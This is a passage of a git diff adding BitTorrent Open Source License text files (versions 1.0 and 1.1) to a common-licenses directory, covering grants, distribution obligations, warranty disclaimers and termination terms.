+3. You are allowed to make Modifications to the Licensed Product, and you can create Derivative Works from it.
+(The term "Derivative Works" is defined in the License.)
+
+4. By accepting the Licensed Product under the provisions of this License, you agree that any Modifications you
+make to the Licensed Product and then distribute are governed by the provisions of this License. In particular, you
+must make the Source Code of your Modifications available to others.
+
+5. You may use the Licensed Product for any purpose, but the Licensor is not providing you any warranty
+whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Product doesn't work properly
+or causes you any injury or damages.
+
+6. If you sublicense the Licensed Product or Derivative Works, you may charge fees for warranty or support, or
+for accepting indemnity or liability obligations to your customers. You cannot charge for the Source Code.
+
+7. If you assert any patent claims against the Licensor relating to the Licensed Product, or if you breach any
+terms of the License, your rights to the Licensed Product under this License automatically terminate.
+
+You may use this License to distribute your own Derivative Works, in which case the provisions of this License will
+apply to your Derivative Works just as they do to the original Licensed Product.
+
+Alternatively, you may distribute your Derivative Works under any other OSI-approved Open Source license, or under a
+proprietary license of your choice. If you use any license other than this License, however, you must continue to
+fulfill the requirements of this License (including the provisions relating to publishing the Source Code) for those
+portions of your Derivative Works that consist of the Licensed Product, including the files containing Modifications.
+
+New versions of this License may be published from time to time. You may choose to continue to use the license
+terms in this version of the License or those from the new version. However, only the Licensor has the right to
+change the License terms as they apply to the Licensed Product.
+
+This License relies on precise definitions for certain terms. Those terms are defined when they are first used, and
+the definitions are repeated for your convenience in a Glossary at the end of the License.
+
+
+License Terms
+
+1. Grant of License From Licensor. Licensor hereby grants you a world-wide, royalty-free, non-exclusive
+license, subject to third party intellectual property claims, to do the following:
+
+a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such
+Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as
+part of Derivative Works.
+
+b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for
+sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any
+such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of
+Modifications or portions thereof or Derivative Works thereof.
+
+
+2. Grant of License to Modifications From Contributor. "Modifications" means any additions to or deletions from the
+substance or structure of (i) a file containing Licensed Product, or (ii) any new file that contains any part of
+Licensed Product. Hereinafter in this License, the term "Licensed Product" shall include all previous Modifications
+that you receive from any Contributor. By application of the provisions in Section 4(a) below, each person or entity
+who created or contributed to the creation of, and distributed, a Modification (a "Contributor") hereby grants you a
+world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the
+following:
+
+ 1. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such
+Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as
+part of Derivative Works.
+
+ 2. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for
+sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any
+such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of
+Modifications or portions thereof or Derivative Works thereof.
+
+
+3. Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks,
+copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as
+expressly stated herein. No patent license is granted separate from the Licensed Product, for code that you delete
+from the Licensed Product, or for combinations of the Licensed Product with other software or hardware. No right is
+granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Product.
+Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this
+License any code that Licensor otherwise would have a right to license.
+
+
+4. Your Obligations Regarding Distribution.
+
+a. Application of This License to Your Modifications. As an express condition for your use of the Licensed
+Product, you hereby agree that any Modifications that you create or to which you contribute, and which you
+distribute, are governed by the terms of this License including, without limitation, Section 2. Any Modifications
+that you create or to which you contribute may be distributed only under the terms of this License or a future
+version of this License released under Section 7. You must include a copy of this License with every copy of the
+Modifications you distribute. You agree not to offer or impose any terms on any Source Code or executable version of
+the Licensed Product or Modifications that alter or restrict the applicable version of this License or the
+recipients' rights hereunder. However, you may include an additional document offering the additional rights
+described in Section 4(d).
+
+b. Availability of Source Code. You must make available, under the terms of this License, the Source Code of
+the Licensed Product and any Modifications that you distribute, either on the same media as you distribute any
+executable or other form of the Licensed Product, or via a mechanism generally accepted in the software development
+community for the electronic transfer of data (an "Electronic Distribution Mechanism"). The Source Code for any
+version of Licensed Product or Modifications that you distribute must remain available for at least twelve (12)
+months after the date it initially became available, or at least six (6) months after a subsequent version of said
+Licensed Product or Modifications has been made available. You are responsible for ensuring that the Source Code
+version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+c. Intellectual Property Matters.
+
+ i. Third Party Claims. If you have knowledge that a license to a third
+party's intellectual property right is required to exercise the rights granted by this License, you must include a
+text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in
+sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after you make any
+Modifications available as described in Section 4(b), you shall promptly modify the LEGAL file in all copies you make
+available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups)
+reasonably calculated to inform those who received the Licensed Product from you that new knowledge has been
+obtained.
+
+ ii. Contributor APIs. If your Modifications include an application
+programming interface ("API") and you have knowledge of patent licenses that are reasonably necessary to implement
+that API, you must also include this information in the LEGAL file.
+
+ iii. Representations. You represent that, except as disclosed pursuant to
+4(c)(i) above, you believe that any Modifications you distribute are your original creations and that you have
+sufficient rights to grant the rights conveyed by this License.
+
+d. Required Notices. You must duplicate this License in any documentation you provide along with the Source
+Code of any Modifications you create or to which you contribute, and which you distribute, wherever you describe
+recipients' rights relating to Licensed Product. You must duplicate the notice contained in Exhibit A (the "Notice")
+in each file of the Source Code of any copy you distribute of the Licensed Product. If you created a Modification,
+you may add your name as a Contributor to the Notice. If it is not possible to put the Notice in a particular Source
+Code file due to its structure, then you must include such Notice in a location (such as a relevant directory file)
+where a user would be likely to look for such a notice. You may choose to offer, and charge a fee for, warranty,
+support, indemnity or liability obligations to one or more recipients of Licensed Product. However, you may do so
+only on your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such
+warranty, support, indemnity or liability obligation is offered by you alone, and you hereby agree to indemnify the
+Licensor and every Contributor for any liability incurred by the Licensor or such Contributor as a result of
+warranty, support, indemnity or liability terms you offer.
+
+e. Distribution of Executable Versions. You may distribute Licensed Product as an executable program under a
+license of your choice that may contain terms different from this License provided (i) you have satisfied the
+requirements of Sections 4(a) through 4(d) for that distribution, (ii) you include a conspicuous notice in the
+executable version, related documentation and collateral materials stating that the Source Code version of the
+Licensed Product is available under the terms of this License, including a description of how and where you have
+fulfilled the obligations of Section 4(b), and (iii) you make it clear that any terms that differ from this License
+are offered by you alone, not by Licensor or any Contributor. You hereby agree to indemnify the Licensor and every
+Contributor for any liability incurred by Licensor or such Contributor as a result of any terms you offer.
+
+f. Distribution of Derivative Works. You may create Derivative Works (e.g., combinations of some or all of the
+Licensed Product with other code) and distribute the Derivative Works as products under any other license you select,
+with the proviso that the requirements of this License are fulfilled for those portions of the Derivative Works that
+consist of the Licensed Product or any Modifications thereto.
+
+
+5. Inability to Comply Due to Statute or Regulation. If it is impossible for you to comply with any of the
+terms of this License with respect to some or all of the Licensed Product due to statute, judicial order, or
+regulation, then you must (i) comply with the terms of this License to the maximum extent possible, (ii) cite the
+statute or regulation that prohibits you from adhering to the License, and (iii) describe the limitations and the
+code they affect. Such description must be included in the LEGAL file described in Section 4(d), and must be included
+with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such
+description must be sufficiently detailed for a recipient of ordinary skill at computer programming to be able to
+understand it.
+
+
+6. Application of This License. This License applies to code to which Licensor or Contributor has attached the
+Notice in Exhibit A, which is incorporated herein by this reference.
+
+
+7. Versions of This License.
+
+a. New Versions. Licensor may publish from time to time revised and/or new versions of the License.
+
+b. Effect of New Versions. Once Licensed Product has been published under a particular version of the License,
+you may always continue to use it under the terms of that version. You may also choose to use such Licensed Product
+under the terms of any subsequent version of the License published by Licensor. No one other than Licensor has the
+right to modify the terms applicable to Licensed Product created under this License.
+
+c. Derivative Works of this License. If you create or use a modified version of this License, which you may do
+only in order to apply it to software that is not already a Licensed Product under this License, you must rename your
+license so that it is not confusingly similar to this License, and must make it clear that your license contains
+terms that differ from this License. In so naming your license, you may not use any trademark of Licensor or any
+Contributor.
+
+
+8. Disclaimer of Warranty. LICENSED PRODUCT IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED PRODUCT IS FREE
+OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND
+PERFORMANCE OF THE LICENSED PRODUCT IS WITH YOU. SHOULD LICENSED PRODUCT PROVE DEFECTIVE IN ANY RESPECT, YOU (AND
+NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS
+DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED PRODUCT IS AUTHORIZED
+HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+
+9. Termination.
+
+a. Automatic Termination Upon Breach. This license and the rights granted hereunder will terminate
+automatically if you fail to comply with the terms herein and fail to cure such breach within thirty (30) days of
+becoming aware of the breach. All sublicenses to the Licensed Product that are properly granted shall survive any
+termination of this license. Provisions that, by their nature, must remain in effect beyond the termination of this
+License, shall survive.
+
+b. Termination Upon Assertion of Patent Infringement. If you initiate litigation by asserting a patent
+infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or
+Contributor against whom you file such an action is referred to herein as Respondent) alleging that Licensed Product
+directly or indirectly infringes any patent, then any and all rights granted by such Respondent to you under Sections
+1 or 2 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice
+Period") unless within that Notice Period you either agree in writing (i) to pay Respondent a mutually agreeable
+reasonably royalty for your past or future use of Licensed Product made by such Respondent, or (ii) withdraw your
+litigation claim with respect to Licensed Product against such Respondent. If within said Notice Period a reasonable
+royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not
+withdrawn, the rights granted by Licensor to you under Sections 1 and 2 automatically terminate at the expiration of
+said Notice Period.
+
+c. Reasonable Value of This License. If you assert a patent infringement claim against Respondent alleging
+that Licensed Product directly or indirectly infringes any patent where such claim is resolved (such as by license or
+settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses
+granted by said Respondent under Sections 1 and 2 shall be taken into account in determining the amount or value of
+any payment or license.
+
+d. No Retroactive Effect of Termination. In the event of termination under Sections 9(a) or 9(b) above, all
+end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by you
+or any distributor hereunder prior to termination shall survive termination.
+
+
+10. Limitation of Liability. UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, WHETHER TORT (INCLUDING NEGLIGENCE),
+CONTRACT, OR OTHERWISE, SHALL THE LICENSOR, ANY CONTRIBUTOR, OR ANY DISTRIBUTOR OF LICENSED PRODUCT, OR ANY SUPPLIER
+OF ANY OF SUCH PARTIES, BE LIABLE TO ANY PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES OF
+ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, WORK STOPPAGE, COMPUTER FAILURE OR
+MALFUNCTION, OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, EVEN IF SUCH PARTY SHALL HAVE BEEN INFORMED OF THE
+POSSIBILITY OF SUCH DAMAGES. THIS LIMITATION OF LIABILITY SHALL NOT APPLY TO LIABILITY FOR DEATH OR PERSONAL INJURY
+RESULTING FROM SUCH PARTYS NEGLIGENCE TO THE EXTENT APPLICABLE LAW PROHIBITS SUCH LIMITATION. SOME JURISDICTIONS DO
+NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS EXCLUSION AND LIMITATION MAY
+NOT APPLY TO YOU.
+
+
+11. Responsibility for Claims. As between Licensor and Contributors, each party is responsible for claims and
+damages arising, directly or indirectly, out of its utilization of rights under this License. You agree to work with
+Licensor and Contributors to distribute such responsibility on an equitable basis. Nothing herein is intended or
+shall be deemed to constitute any admission of liability.
+
+
+12. U.S. Government End Users. The Licensed Product is a commercial item, as that term is defined in 48 C.F.R.
+2.101 (Oct. 1995), consisting of commercial computer software and commercial computer software documentation, as such
+terms are used in 48 C.F.R. 12.212 (Sept. 1995). Consistent with 48 C.F.R. 12.212 and 48 C.F.R. 227.7202-1 through
+227.7202-4 (June 1995), all U.S. Government End Users acquire Licensed Product with only those rights set forth
+herein.
+
+
+13. Miscellaneous. This License represents the complete agreement concerning the subject matter hereof. If any
+provision of this License is held to be unenforceable, such provision shall be reformed only to the extent necessary
+to make it enforceable. This License shall be governed by California law provisions (except to the extent applicable
+law, if any, provides otherwise), excluding its conflict-of-law provisions. You expressly agree that any litigation
+relating to this license shall be subject to the jurisdiction of the Federal Courts of the Northern District of
+California or the Superior Court of the County of Santa Clara, California (as appropriate), with venue lying in Santa
+Clara County, California, with the losing party responsible for costs including, without limitation, court costs and
+reasonable attorneys fees and expenses. The application of the United Nations Convention on Contracts for the
+International Sale of Goods is expressly excluded. You and Licensor expressly waive any rights to a jury trial in
+any litigation concerning Licensed Product or this License. Any law or regulation that provides that the language of
+a contract shall be construed against the drafter shall not apply to this License.
+
+
+14. Definition of You in This License. You throughout this License, whether in upper or lower case, means an
+individual or a legal entity exercising rights under, and complying with all of the terms of, this License or a
+future version of this License issued under Section 7. For legal entities, you includes any entity that controls, is
+controlled by, or is under common control with you. For purposes of this definition, control means (i) the power,
+direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii)
+ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.
+
+
+15. Glossary. All defined terms in this License that are used in more than one Section of this License are repeated
+here, in alphabetical order, for the convenience of the reader. The Section of this License in which each defined
+term is first used is shown in parentheses.
+
+Contributor: Each person or entity who created or contributed to the creation of, and distributed, a Modification.
+(See Section 2)
+
+Derivative Works: That term as used in this License is defined under U.S. copyright law. (See Section 1(b))
+
+License: This BitTorrent Open Source License. (See first paragraph of License)
+
+Licensed Product: Any BitTorrent Product licensed pursuant to this License. The term "Licensed Product" includes
+all previous Modifications from any Contributor that you receive. (See first paragraph of License and Section 2)
+
+Licensor: BitTorrent, Inc. (See first paragraph of License)
+
+Modifications: Any additions to or deletions from the substance or structure of (i) a file containing Licensed
+Product, or (ii) any new file that contains any part of Licensed Product. (See Section 2)
+
+Notice: The notice contained in Exhibit A. (See Section 4(e))
+
+Source Code: The preferred form for making modifications to the Licensed Product, including all modules contained
+therein, plus any associated interface definition files, scripts used to control compilation and installation of an
+executable program, or a list of differential comparisons against the Source Code of the Licensed Product. (See
+Section 1(a))
+
+You: This term is defined in Section 14 of this License.
+
+
+EXHIBIT A
+
+The Notice below must appear in each file of the Source Code of any copy you distribute of the Licensed Product or
+any hereto. Contributors to any Modifications may add their own copyright notices to identify their own
+contributions.
+
+License:
+
+The contents of this file are subject to the BitTorrent Open Source License Version 1.0 (the License). You may not
+copy or use this file, in either source code or executable form, except in compliance with the License. You may
+obtain a copy of the License at http://www.bittorrent.com/license/.
+
+Software distributed under the License is distributed on an AS IS basis, WITHOUT WARRANTY OF ANY KIND, either express
+or implied. See the License for the specific language governing rights and limitations under the License.
diff --git a/meta/files/common-licenses/BitTorrent-1.1 b/meta/files/common-licenses/BitTorrent-1.1
new file mode 100644
index 0000000000..fa5bd9df24
--- /dev/null
+++ b/meta/files/common-licenses/BitTorrent-1.1
@@ -0,0 +1,137 @@
+BitTorrent Open Source License
+Version 1.1
+
+This BitTorrent Open Source License (the "License") applies to the BitTorrent client and related software products as well as any updates or maintenance releases of that software ("BitTorrent Products") that are distributed by BitTorrent, Inc. ("Licensor"). Any BitTorrent Product licensed pursuant to this License is a Licensed Product. Licensed Product, in its entirety, is protected by U.S. copyright law. This License identifies the terms under which you may use, copy, distribute or modify Licensed Product.
+
+Preamble
+
+This Preamble is intended to describe, in plain English, the nature and scope of this License. However, this Preamble is not a part of this license. The legal effect of this License is dependent only upon the terms of the License and not this Preamble.
+
+This License complies with the Open Source Definition and is derived from the Jabber Open Source License 1.0 (the "JOSL"), which has been approved by Open Source Initiative. Sections 4(c) and 4(f)(iii) from the JOSL have been deleted.
+
+This License provides that:
+
+1. You may use or give away the Licensed Product, alone or as a component of an aggregate software distribution containing programs from several different sources. No royalty or other fee is required.
+
+2. Both Source Code and executable versions of the Licensed Product, including Modifications made by previous Contributors, are available for your use. (The terms "Licensed Product," "Modifications," "Contributors" and "Source Code" are defined in the License.)
+
+3. You are allowed to make Modifications to the Licensed Product, and you can create Derivative Works from it. (The term "Derivative Works" is defined in the License.)
+
+4. By accepting the Licensed Product under the provisions of this License, you agree that any Modifications you make to the Licensed Product and then distribute are governed by the provisions of this License. In particular, you must make the Source Code of your Modifications available to others free of charge and without a royalty.
+
+5. You may sell, accept donations or otherwise receive compensation for executable versions of a Licensed Product, without paying a royalty or other fee to the Licensor or any Contributor, provided that such executable versions contain your or another Contributor's material Modifications. For the avoidance of doubt, to the extent your executable version of a Licensed Product does not contain your or another Contributor's material Modifications, you may not sell, accept donations or otherwise receive compensation for such executable.
+
+You may use the Licensed Product for any purpose, but the Licensor is not providing you any warranty whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Product doesn't work properly or causes you any injury or damages.
+
+6. If you sublicense the Licensed Product or Derivative Works, you may charge fees for warranty or support, or for accepting indemnity or liability obligations to your customers. You cannot charge for, sell, accept donations or otherwise receive compensation for the Source Code.
+
+7. If you assert any patent claims against the Licensor relating to the Licensed Product, or if you breach any terms of the License, your rights to the Licensed Product under this License automatically terminate.
+You may use this License to distribute your own Derivative Works, in which case the provisions of this License will apply to your Derivative Works just as they do to the original Licensed Product.
+
+Alternatively, you may distribute your Derivative Works under any other OSI-approved Open Source license, or under a proprietary license of your choice. If you use any license other than this License, however, you must continue to fulfill the requirements of this License (including the provisions relating to publishing the Source Code) for those portions of your Derivative Works that consist of the Licensed Product, including the files containing
+Modifications.
+
+New versions of this License may be published from time to time in connection with new versions of a Licensed Product or otherwise. You may choose to continue to use the license terms in this version of the License for the Licensed Product that was originally licensed hereunder, however, the new versions of this License will at all times apply to new versions of the Licensed Product released by Licensor after the release of the new version of this License. Only the Licensor has the right to change the License terms as they apply to the Licensed Product.
+
+This License relies on precise definitions for certain terms. Those terms are defined when they are first used, and the definitions are repeated for your convenience in a Glossary at the end of the License.
+
+License Terms
+
+1. Grant of License From Licensor. Subject to the terms and conditions of this License, Licensor hereby grants you a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the following:
+
+ a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by a Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as part of Derivative Works.
+ b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof or Derivative Works thereof.
+
+2. Grant of License to Modifications From Contributor. "Modifications" means any additions to or deletions from the substance or structure of (i) a file containing a Licensed Product, or (ii) any new file that contains any part of a Licensed Product. Hereinafter in this License, the term "Licensed Product" shall include all previous Modifications that you receive from any Contributor. Subject to the terms and conditions of this License, By application of the provisions in Section 4(a) below, each person or entity who created or contributed to the creation of, and distributed, a Modification (a "Contributor") hereby grants you a world-wide, royalty-free, non-exclusive license, subject to third party intellectual property claims, to do the following:
+
+ a. Use, reproduce, modify, display, perform, sublicense and distribute any Modifications created by such Contributor or portions thereof, in both Source Code or as an executable program, either on an unmodified basis or as part of Derivative Works.
+
+ b. Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof, but solely to the extent that any such claim is necessary to enable you to make, use, sell, offer for sale, have made, and/or otherwise dispose of Modifications or portions thereof or Derivative Works thereof.
+
+3. Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. No patent license is granted separate from the Licensed Product, for code that you delete from the Licensed Product, or for combinations of the Licensed Product with other software or hardware. No right is granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Product. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any code that Licensor otherwise would have a right to license. As an express condition for your use of the Licensed Product, you hereby agree that you will not, without the prior written consent of Licensor, use any trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. For the avoidance of doubt and without limiting the foregoing, you hereby agree that you will not use or display any trademark of Licensor or any Contributor in any domain name, directory filepath, advertisement, link or other reference to you in any manner or in any media.
+
+4. Your Obligations Regarding Distribution.
+
+ a. Application of This License to Your Modifications. As an express condition for your use of the Licensed Product, you hereby agree that any Modifications that you create or to which you contribute, and which you distribute, are governed by the terms of this License including, without limitation, Section 2. Any Modifications that you create or to which you contribute may be distributed only under the terms of this License or a future version of this License released under Section 7. You must include a copy of this License with every copy of the Modifications you distribute. You agree not to offer or impose any terms on any Source Code or executable version of the Licensed Product or Modifications that alter or restrict the applicable version of this License or the recipients' rights hereunder. However, you may include an additional document offering the additional rights described in Section 4(d).
+
+ b. Availability of Source Code. You must make available, without charge, under the terms of this License, the Source Code of the Licensed Product and any Modifications that you distribute, either on the same media as you distribute any executable or other form of the Licensed Product, or via a mechanism generally accepted in the software development community for the electronic transfer of data (an "Electronic Distribution Mechanism"). The Source Code for any version of Licensed Product or Modifications that you distribute must remain available for as long as any executable or other form of the Licensed Product is distributed by you. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party.
+
+ c. Intellectual Property Matters.
+
+ i. Third Party Claims. If you have knowledge that a license to a third party's intellectual property right is required to exercise the rights granted by this License, you must include a text file with the Source Code distribution titled "LEGAL" that describes the claim and the party making the claim in sufficient detail that a recipient will know whom to contact. If you obtain such knowledge after you make any Modifications available as described in Section 4(b), you shall promptly modify the LEGAL file in all copies you make available thereafter and shall take other steps (such as notifying appropriate mailing lists or newsgroups) reasonably calculated to inform those who received the Licensed Product from you that new knowledge has been obtained.
+ ii. Contributor APIs. If your Modifications include an application programming interface ("API") and you have knowledge of patent licenses that are reasonably necessary to implement that API, you must also include this information in the LEGAL file.
+ iii. Representations. You represent that, except as disclosed pursuant to 4(c)(i) above, you believe that any Modifications you distribute are your original creations and that you have sufficient rights to grant the rights conveyed by this License.
+
+ d. Required Notices. You must duplicate this License in any documentation you provide along with the Source Code of any Modifications you create or to which you contribute, and which you distribute, wherever you describe recipients' rights relating to Licensed Product. You must duplicate the notice contained in Exhibit A (the "Notice") in each file of the Source Code of any copy you distribute of the Licensed Product. If you created a Modification, you may add your name as a Contributor to the Notice. If it is not possible to put the Notice in a particular Source Code file due to its structure, then you must include such Notice in a location (such as a relevant directory file) where a user would be likely to look for such a notice. You may choose to offer, and charge a fee for, warranty, support, indemnity or liability obligations to one or more recipients of Licensed Product. However, you may do so only on your own behalf, and not on behalf of the Licensor or any Contributor. You must make it clear that any such warranty, support, indemnity or liability obligation is offered by you alone, and you hereby agree to indemnify the Licensor and every Contributor for any liability incurred by the Licensor or such Contributor as a result of warranty, support, indemnity or liability terms you offer.
+
+ e. Distribution of Executable Versions. You may distribute Licensed Product as an executable program under a license of your choice that may contain terms different from this License provided (i) you have satisfied the requirements of Sections 4(a) through 4(d) for that distribution, (ii) you include a conspicuous notice in the executable version, related documentation and collateral materials stating that the Source Code version of the Licensed Product is available under the terms of this License, including a description of how and where you have fulfilled the obligations of Section 4(b), and (iii) you make it clear that any terms that differ from this License are offered by you alone, not by Licensor or any Contributor. You hereby agree to indemnify the Licensor and every Contributor for any liability incurred by Licensor or such Contributor as a result of any terms you offer.
+
+ f. Distribution of Derivative Works. You may create Derivative Works (e.g., combinations of some or all of the Licensed Product with other code) and distribute the Derivative Works as products under any other license you select, with the proviso that the requirements of this License are fulfilled for those portions of the Derivative Works that consist of the Licensed Product or any Modifications thereto.
+
+ g. Compensation for Distribution of Executable Versions of Licensed Products, Modifications or Derivative Works. Notwithstanding any provision of this License to the contrary, by distributing, selling, licensing, sublicensing or otherwise making available any Licensed Product, or Modification or Derivative Work thereof, you and Licensor hereby acknowledge and agree that you may sell, license or sublicense for a fee, accept donations or otherwise receive compensation for executable versions of a Licensed Product, without paying a royalty or other fee to the Licensor or any other Contributor, provided that such executable versions (i) contain your or another Contributor's material Modifications, or (ii) are otherwise material Derivative Works. For purposes of this License, an executable version of the Licensed Product will be deemed to contain a material Modification, or will otherwise be deemed a material Derivative Work, if (a) the Licensed Product is modified with your own or a third party's software programs or other code, and/or the Licensed Product is combined with a number of your own or a third party's software programs or code, respectively, and (b) such software programs or code add or contribute material value, functionality or features to the License Product. For the avoidance of doubt, to the extent your executable version of a Licensed Product does not contain your or another Contributor's material Modifications or is otherwise not a material Derivative Work, in each case as contemplated herein, you may not sell, license or sublicense for a fee, accept donations or otherwise receive compensation for such executable. Additionally, without limitation of the foregoing and notwithstanding any provision of this License to the contrary, you cannot charge for, sell, license or sublicense for a fee, accept donations or otherwise receive compensation for the Source Code.
+
+5. Inability to Comply Due to Statute or Regulation. If it is impossible for you to comply with any of the terms of this License with respect to some or all of the Licensed Product due to statute, judicial order, or regulation, then you must (i) comply with the terms of this License to the maximum extent possible, (ii) cite the statute or regulation that prohibits you from adhering to the License, and (iii) describe the limitations and the code they affect. Such description must be included in the LEGAL file described in Section 4(d), and must be included with all distributions of the Source Code. Except to the extent prohibited by statute or regulation, such description must be sufficiently detailed for a recipient of ordinary skill at computer programming to be able to understand it.
+
+6. Application of This License. This License applies to code to which Licensor or Contributor has attached the Notice in Exhibit A, which is incorporated herein by this reference.
+
+7. Versions of This License.
+
+ a. New Versions. Licensor may publish from time to time revised and/or new versions of the License.
+
+ b. Effect of New Versions. Once Licensed Product has been published under a particular version of the License, you may always continue to use it under the terms of that version, provided that any such license be in full force and effect at the time, and has not been revoked or otherwise terminated. You may also choose to use such Licensed Product under the terms of any subsequent version (but not any prior version) of the License published by Licensor. No one other than Licensor has the right to modify the terms applicable to Licensed Product created under this License.
+
+ c. Derivative Works of this License. If you create or use a modified version of this License, which you may do only in order to apply it to software that is not already a Licensed Product under this License, you must rename your license so that it is not confusingly similar to this License, and must make it clear that your license contains terms that differ from this License. In so naming your license, you may not use any trademark of Licensor or any Contributor.
+
+8. Disclaimer of Warranty. LICENSED PRODUCT IS PROVIDED UNDER THIS LICENSE ON AN AS IS BASIS, WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING, WITHOUT LIMITATION, WARRANTIES THAT THE LICENSED PRODUCT IS FREE OF DEFECTS, MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE OR NON-INFRINGING. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LICENSED PRODUCT IS WITH YOU. SHOULD LICENSED PRODUCT PROVE DEFECTIVE IN ANY RESPECT, YOU (AND NOT THE LICENSOR OR ANY OTHER CONTRIBUTOR) ASSUME THE COST OF ANY NECESSARY SERVICING, REPAIR OR CORRECTION. THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS LICENSE. NO USE OF LICENSED PRODUCT IS AUTHORIZED HEREUNDER EXCEPT UNDER THIS DISCLAIMER.
+
+9. Termination.
+
+ a. Automatic Termination Upon Breach. This license and the rights granted hereunder will terminate automatically if you fail to comply with the terms herein and fail to cure such breach within ten (10) days of being notified of the breach by the Licensor. For purposes of this provision, proof of delivery via email to the address listed in the 'WHOIS' database of the registrar for any website through which you distribute or market any Licensed Product, or to any alternate email address which you designate in writing to the Licensor, shall constitute sufficient notification. All sublicenses to the Licensed Product that are properly granted shall survive any termination of this license so long as they continue to complye with the terms of this License. Provisions that, by their nature, must remain in effect beyond the termination of this License, shall survive.
+
+ b. Termination Upon Assertion of Patent Infringement. If you initiate litigation by asserting a patent infringement claim (excluding declaratory judgment actions) against Licensor or a Contributor (Licensor or Contributor against whom you file such an action is referred to herein as Respondent) alleging that Licensed Product directly or indirectly infringes any patent, then any and all rights granted by such Respondent to you under Sections 1 or 2 of this License shall terminate prospectively upon sixty (60) days notice from Respondent (the "Notice Period") unless within that Notice Period you either agree in writing (i) to pay Respondent a mutually agreeable reasonably royalty for your past or future use of Licensed Product made by such Respondent, or (ii) withdraw your litigation claim with respect to Licensed Product against such Respondent. If within said Notice Period a reasonable royalty and payment arrangement are not mutually agreed upon in writing by the parties or the litigation claim is not withdrawn, the rights granted by Licensor to you under Sections 1 and 2 automatically terminate at the expiration of said Notice Period.
+
+ c. Reasonable Value of This License. If you assert a patent infringement claim against Respondent alleging that Licensed Product directly or indirectly infringes any patent where such claim is resolved (such as by license or settlement) prior to the initiation of patent infringement litigation, then the reasonable value of the licenses granted by said Respondent under Sections 1 and 2 shall be taken into account in determining the amount or value of any payment or license.
+
+ d. No Retroactive Effect of Termination. In the event of termination under Sections 9(a) or 9(b) above, all end user license agreements (excluding licenses to distributors and resellers) that have been validly granted by you or any distributor hereunder prior to termination shall survive termination.
+
